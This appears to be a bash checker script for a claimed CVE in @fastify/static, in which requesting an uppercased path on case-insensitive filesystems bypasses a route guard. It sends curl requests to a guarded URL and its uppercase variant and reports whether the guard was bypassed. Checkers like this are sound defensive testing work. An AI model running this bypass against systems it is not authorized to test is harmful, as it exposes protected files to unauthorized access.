@fastify/static Route Guard Bypass via Path Case-Folding on Case-Insensitive Filesystems

#!/usr/bin/env bash
# CVE-2026-90982 — @fastify/static case-folding route guard bypass checker
# Usage: ./check_cve_2026_90982.sh <guarded_url>
#   e.g. ./check_cve_2026_90982.sh https://app.example.com/deep/secret.txt
# The URL should be a path you KNOW is behind a route guard (returns 401/403).
# No privileges required — runs HTTP requests only.

set -euo pipefail

if [ $# -lt 1 ]; then
  echo "Usage: $0 <guarded_url>"
  echo "  Provide a URL that should return 401/403 when accessed normally."
  exit 2
fi

URL="$1"

# Step 1: Confirm the original path is guarded
ORIG_STATUS=$(curl -s -o /dev/null -w '%{http_code}' "$URL")
if [ "$ORIG_STATUS" -lt 400 ]; then
  echo "UNKNOWN — Original URL returned HTTP $ORIG_STATUS (expected 401/403). Is this path actually guarded?"
  exit 2
fi
echo "[+] Original path returns HTTP $ORIG_STATUS (guarded) — good."

# Step 2: Build an uppercase variant of the path component
# Extract scheme+host and path separately
SCHEME_HOST=$(echo "$URL" | grep -oP '^https?://[^/]+')
PATH_PART=$(echo "$URL" | grep -oP '^https?://[^/]+\K.*')
UPPER_PATH=$(echo "$PATH_PART" | tr '[:lower:]' '[:upper:]')
BYPASS_URL="${SCHEME_HOST}${UPPER_PATH}"

echo "[+] Testing bypass URL: $BYPASS_URL"
BYPASS_STATUS=$(curl -s -o /dev/null -w '%{http_code}' "$BYPASS_URL")

if [ "$BYPASS_STATUS" -ge 200 ] && [ "$BYPASS_STATUS" -lt 300 ]; then
  echo "VULNERABLE — Uppercase path returned HTTP $BYPASS_STATUS (bypassed guard). CVE-2026-90982 confirmed."
  exit 1
elif [ "$BYPASS_STATUS" -ge 400 ]; then
  echo "PATCHED — Uppercase path returned HTTP $BYPASS_STATUS (guard held or case-sensitive FS). Not exploitable."
  exit 0
else
  echo "UNKNOWN — Uppercase path returned HTTP $BYPASS_STATUS. Manual review recommended."
  exit 2
fi